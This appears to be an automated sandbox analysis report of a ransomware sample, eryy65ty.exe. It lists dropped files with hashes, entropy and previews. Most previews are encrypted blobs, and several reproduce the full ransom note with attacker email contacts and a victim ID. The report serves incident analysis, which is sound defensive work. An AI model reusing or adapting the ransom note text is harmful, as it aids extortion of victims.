                                                                                                                                        Preview:.0Y...g.UJ.ly..*...N ..tK....+..9.1Gt.3B..R..[..$o..(....C.,.$B.R.e.j.p{.............n.3......\...i......l..rJ..I.....W...UYc.*".........iWuf..}O..p.v...*...-....N.%..........>s=../.Xq.y....2D.X...]o.....?....]....+..1Q....sn9O."..\....B.......w.(4`M..&....lt.M.......<!k........^.p.KmSs.f8...K..!...ZmZM.......tf.E...sKQ...h..<..z..)/......a..m..Y.eI..5.T.pj.YQw_.8..h\%"...B..hA.N.a~.2.t.u...#JfF.../D.(....m....u..N....h...O..A.p......G.{lO......*.#c.^.k.:Yvl7.-*...,...:..F.%.hP..lL.n.|............V.....l|.......6.|P3t.%..%....e....A./......DP?...6......zv9..8..Kme.q..(R...7:.v..,....a..BH... ..a..g.......,a.J.V.t..(..@}DKA.A......+.fz.{.....2..D..w..S..{gi.....v&..j4uU..Y...}..U.12....{hnk..zsj....(..j......{...F..7.......e...].+\t.7.*...S.".....VN-.7.!R&~a...h.?)HS....d.....v...4PVd.bAr.........7....#a.6...I.(...[..3...........a...n5a.....y..s.1.. h.....V:.........i.c...>N]os.. ..v..f`5.D@_..Q...Y.G.8s..R.K......4?$.Kp8..P.!.W.#...Y.7.Y.!\:.
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1315
                                                                                                                                        Entropy (8bit):7.835224124335141
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:BdswJjchDE5lr2BoEjp51eAT+hiZiFzuhD3baWfO8h:VuGSBoA1aoh35h
                                                                                                                                        MD5:2FB97CBAA20D304077783A83322D6653
                                                                                                                                        SHA1:1A0ADAF3A5CAC7CE41F98DBBA33C7DD19948BEFE
                                                                                                                                        SHA-256:CE239C1637ACBD46FCDAA6FE950CFAD0850CF9A7465CB58D3F48F8EE503C4BFD
                                                                                                                                        SHA-512:D141FB6FD788DAE6B1E4E40ECDC08D25C5276F1FA78F212F0A4549FE96CA0C38130A12D4F062D633872D9B53D6EB08890917199CB58189C241371AC1AFC6055E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:...,.%...W.t...dj..:.&IG.O.......G|MI.C.t8g3..4...."@..R....Z..8....+.J .i..1..V" ..U.z.P...U.<...!J.q.~PY.f...{.q.Y.\...M7'...............Ww.K)..F....)f.(..L....[&.>L..U..fQ.z.%..a.....e.YJK..1B9.oN1..;.Rq.J...3....9..$....?Ol...9j..8}^'.....U..+p..?.@%])e.=.[.gtB...5..p...7.`..}.... .Q.hp|.Al.v..$...]0J..p..:...&'.zl.e....m.u..`.Z8...._...E`..../....^.(h...Zv".1].7..f1.3..1._.J...sq*...9L_.A......d..Nq.P........#.d.X<.(....:X....... .C....l..>K..l...>:...<N....O!&.^.8.{.B..-...~*..RlXW.B..I..5~...237@.......#.3h......12.e.....i..V1.>.E.~.1"i;.6.b..Gs.b.(.@jq...p'.R:.g[..h;....!UN...7..Z.e...?C...$!qX..........*..B.Re.....L.O/..D...d.....TV.k....U*.k..60......I....Y....].....E .Pe..|.I.&dHG..."...Zn..Y...-U<a...Nb.8.|<...c..E........~..!.-.V#......>.k.?.?.tFjS-..>n.`3.G....../.9.(....P{.....4......uVEM...Gmi|-p&.._> <..N. 7.U.).:d.0'..U....xC....!..........6..BE.vQ[.J...g.h....o..X.i.$.h.PW...Z..:k...3..j...,.....*....a.vrr.w..
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1315
                                                                                                                                        Entropy (8bit):7.835224124335141
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:BdswJjchDE5lr2BoEjp51eAT+hiZiFzuhD3baWfO8h:VuGSBoA1aoh35h
                                                                                                                                        MD5:2FB97CBAA20D304077783A83322D6653
                                                                                                                                        SHA1:1A0ADAF3A5CAC7CE41F98DBBA33C7DD19948BEFE
                                                                                                                                        SHA-256:CE239C1637ACBD46FCDAA6FE950CFAD0850CF9A7465CB58D3F48F8EE503C4BFD
                                                                                                                                        SHA-512:D141FB6FD788DAE6B1E4E40ECDC08D25C5276F1FA78F212F0A4549FE96CA0C38130A12D4F062D633872D9B53D6EB08890917199CB58189C241371AC1AFC6055E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:...,.%...W.t...dj..:.&IG.O.......G|MI.C.t8g3..4...."@..R....Z..8....+.J .i..1..V" ..U.z.P...U.<...!J.q.~PY.f...{.q.Y.\...M7'...............Ww.K)..F....)f.(..L....[&.>L..U..fQ.z.%..a.....e.YJK..1B9.oN1..;.Rq.J...3....9..$....?Ol...9j..8}^'.....U..+p..?.@%])e.=.[.gtB...5..p...7.`..}.... .Q.hp|.Al.v..$...]0J..p..:...&'.zl.e....m.u..`.Z8...._...E`..../....^.(h...Zv".1].7..f1.3..1._.J...sq*...9L_.A......d..Nq.P........#.d.X<.(....:X....... .C....l..>K..l...>:...<N....O!&.^.8.{.B..-...~*..RlXW.B..I..5~...237@.......#.3h......12.e.....i..V1.>.E.~.1"i;.6.b..Gs.b.(.@jq...p'.R:.g[..h;....!UN...7..Z.e...?C...$!qX..........*..B.Re.....L.O/..D...d.....TV.k....U*.k..60......I....Y....].....E .Pe..|.I.&dHG..."...Zn..Y...-U<a...Nb.8.|<...c..E........~..!.-.V#......>.k.?.?.tFjS-..>n.`3.G....../.9.(....P{.....4......uVEM...Gmi|-p&.._> <..N. 7.U.).:d.0'..U....xC....!..........6..BE.vQ[.J...g.h....o..X.i.$.h.PW...Z..:k...3..j...,.....*....a.vrr.w..
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):292
                                                                                                                                        Entropy (8bit):7.120403622828506
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:6:Y+Xga29t0wdEf/K5wkoWU4w5zGWQdmC4NYQHn:YixNfhWjwhyV4uQHn
                                                                                                                                        MD5:E85EBCAB1369A856188BCAB2C236D79C
                                                                                                                                        SHA1:67E0752C08FE4FFDBD1DC3B644D7F8B06CB69464
                                                                                                                                        SHA-256:A15A28AEE3D6A88FDD341B1E98EF550AF38723B21511C5C00EF40909B682D990
                                                                                                                                        SHA-512:5964FE06C4F18097ECA259D9289E51C64D83177AA127B349F74A5D26800EB15A729B919323F221420016172DE23C25A5D0CF93AFC25F86885442ED4239951391
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:......?.CW..............}.n.m.>...i"._.jS.C...G-...l...{.(.fw.....|.!-U.I.j.K.i!Y.n7i_H"y...3..M......."5.'p.)N........I..K5SFM..@'...j_.....e.......v..2.p'E..-.y.1...X.>..._.M.P. .|oi......n.H.......Zhi....c.a....|....V...,......n.F{...=.>b.7..7sp...J......+..>dvVj.0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):292
                                                                                                                                        Entropy (8bit):7.175040206167209
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:6:VUa0DWOVvptRObCvGyvZ4V5s0SNoPxPSPMG1V2lleyn:Wa0DWOntRrvnZ4nVSNoxSP/Ulldn
                                                                                                                                        MD5:51213837E31E7ED8F4125EEB677FBCC8
                                                                                                                                        SHA1:0C49EE48AB5F657AE34BAC1E485BC01CDEA2726D
                                                                                                                                        SHA-256:9EDDD38E9354069D4105E39CCBCFF2DA02EA511BF556CC686AE45C12400681C5
                                                                                                                                        SHA-512:33753B0D6D13919F14BE04528EF7313296864EC469F6380DD486230630B61C9DBC438C6533FA311EA46505EDDAB4FEAA6016385F66CD743CD12D9A40FB605F8E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:...}SdL..m...K.............:^A.p..<.........0.+c...y.]i.P......S..m..s...e...\k.Wr..r...%.r...*..'e,do.M....yU.:.@..xT.=.#.}j......{F.w.8.....P.....6.?7.L..4....R..Q[{H..RG...hf...FP...,T..>..Z.......o]a3.C.W..JF........4.R#1.P:...n.J'...3.}.-....2.O...A.\.R..0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):292
                                                                                                                                        Entropy (8bit):7.105932518413502
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:6:ww/OC4opCryT5Y/ThasQ5P4v8pOIE2ZY8zgi3OsP9ZSn:ww2C3pCM1s+RpOaZfPan
                                                                                                                                        MD5:7FAB66289D642F4D65D18C1500D7D32D
                                                                                                                                        SHA1:4B919834803DC0C14DF0911BE5BBDAE2FDA9EBCA
                                                                                                                                        SHA-256:0BEE69969F6440EBF7F49B00EEDB616B874617440954FAE20462217E3E7A8C01
                                                                                                                                        SHA-512:80416CDD2B23D75987ABE2E9C8E9B301B3826F92FBC607706969E89101736A80838B53A25D0DC68C535B00116416EE5B0FA39CF922D7A4F9C87C46298FD2CE8D
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:..Q.hf...VY..../............`..\R.h....q.. ..F.i|Y.......P.....Q..j#p...D.{.rG....N.u.A]...k.=C....JG.}C..Bo..q..u.I.u3..z.....;...,...O.@0..|.P............."..m..h..A.1)w...WQ5IRE...9.\w....zDr..g..C...s...[E7...h..;k....*..x..bJ.......\^h......ou=G..5.`..8....b.]xp0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):292
                                                                                                                                        Entropy (8bit):7.183879206547028
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:6:LiZW0RM/C+tMCaamgmtHgAP4wZ0EmfHWhhfa8Nr2eCdbN93mn:LiMHnyCjmRj3eE+Ifa852btmn
                                                                                                                                        MD5:0C828785DC9E55D7251AF3AB2E5AE14D
                                                                                                                                        SHA1:9C5A4B65C02E3C0BF32FD491660BB1BC338BE8AB
                                                                                                                                        SHA-256:B076394DBB1C742AA2BFF4C8F069E0C4B3B62D05297F1DE51FE03A753D159C2E
                                                                                                                                        SHA-512:86112E45D9EF7B3B68368D358B2301FF45C0BA6E03E68D77A8FCBED89180565A263F8BB15409FECF6603A35D06EC27D43209D3A8EAF3C79F2F309D3FFECCC211
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:..Q7..;d.t.Z.P0..........R...\.-:%..*..Ls.t.P[......8.......k..}s...Y.t0/..';.0.f...V=....t.._e1.|.....`.e.oE...b.h....3..4E...H.p.G..0...o<\L.j.....WA..&M.6,6=.=n..Q...,]..b.6I..9D...bP......\Z..V...Z.K..WZ.h....rP..Pzfl.(.....*t.J.....H......M..t.F}............T..0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                        File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Dec 14 11:59:37 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):2675
                                                                                                                                        Entropy (8bit):3.9742004929497017
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:48:8y1dMTUxZguHRidAKZdA1nehwiZUklqehjy+3:8ykIgioy
                                                                                                                                        MD5:4941533295248ABC367E12A1D1EF3E7B
                                                                                                                                        SHA1:0511CC5E22B2EA7FF54B482FF3E1409066F1C038
                                                                                                                                        SHA-256:C84B790CFE2822FF0C366C4B3D8B7EB81F4424E3274823C944A67FBBFA630A54
                                                                                                                                        SHA-512:222C588370863A81BE0DC49A006C0E84DDA0022A6E3D5D303D30190166132BB091E341AB80E97777A2EE8C0F1B5E9BB218A1D76B332836C2E2D513AE8377B283
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:L..................F.@.. ...$+.,....rp..(N......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....EWXX..PROGRA~1..t......O.I.Yqg....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Yqg....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.V..Chrome..>......CW.V.Yqg....M.....................g.u.C.h.r.o.m.e.....`.1.....EW.V..APPLIC~1..H......CW.V.Yqg..........................g.u.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.Ysg............................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............L......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F
                                                                                                                                        Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                        File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Dec 14 11:59:37 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):2677
                                                                                                                                        Entropy (8bit):3.994392816455066
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:48:8C1dMTUxZguHRidAKZdA1geh/iZUkAQkqehYy+2:8CkIg29Qpy
                                                                                                                                        MD5:3A40DD99DC88BAA9CFE2FAE35C6CD6E7
                                                                                                                                        SHA1:C8183310923EE5E93203BB41B701C429AE0768BD
                                                                                                                                        SHA-256:7A4A5C2D6B4DF620E0CD0BF495125DC233AC9C33B4C3A9A61834B94C964A6AE8
                                                                                                                                        SHA-512:5730BAC1C39AF6CD68F2ABAC8A29868388946C71D6A9EC305FC1D2683FAE107591A33EBA9C7FE4100C2332ADFCAEE57EECD0B8499C97E1533705C058A4943B62
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:L..................F.@.. ...$+.,....J?..(N......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....EWXX..PROGRA~1..t......O.I.Yqg....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Yqg....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.V..Chrome..>......CW.V.Yqg....M.....................g.u.C.h.r.o.m.e.....`.1.....EW.V..APPLIC~1..H......CW.V.Yqg..........................g.u.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.Ysg............................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............L......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F
                                                                                                                                        Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                        File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Oct 5 09:52:18 2023, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):2691
                                                                                                                                        Entropy (8bit):4.002294682932712
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:48:871dMTUxZCHRidAKZdA148eh7sFiZUkmgqeh7s2y+BX:87kIcn0y
                                                                                                                                        MD5:833DED5F2C3DA38FB1B8409E52B9ACE5
                                                                                                                                        SHA1:D6C6CACB59D5A7D297FC2DF0AB661548092B29CE
                                                                                                                                        SHA-256:862A8FB44F15548597DC1F2037AF89C5FD2B9BFB1F8D744A918654677DC56C34
                                                                                                                                        SHA-512:EECF3067A72CDE606C4F897F43106D4880B4B690FF1DEB52A287FD45800964765B68489FC8B86AD83EFABA6E1F7262DA0AD28047B05327FE8FF1BA3E50732FA1
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:L..................F.@.. ...$+.,....s4..z.......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....EWXX..PROGRA~1..t......O.I.Yqg....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Yqg....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.V..Chrome..>......CW.V.Yqg....M.....................g.u.C.h.r.o.m.e.....`.1.....EW.V..APPLIC~1..H......CW.V.Yqg..........................g.u.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VEW.V............................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............L......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F
                                                                                                                                        Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                        File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Dec 14 11:59:37 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):2679
                                                                                                                                        Entropy (8bit):3.9902788184141302
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:48:8f1dMTUxZguHRidAKZdA1lehDiZUkwqehMy+R:8fkIgTuy
                                                                                                                                        MD5:0DDEF5A27E4B66064A3B90CD0AEC03E9
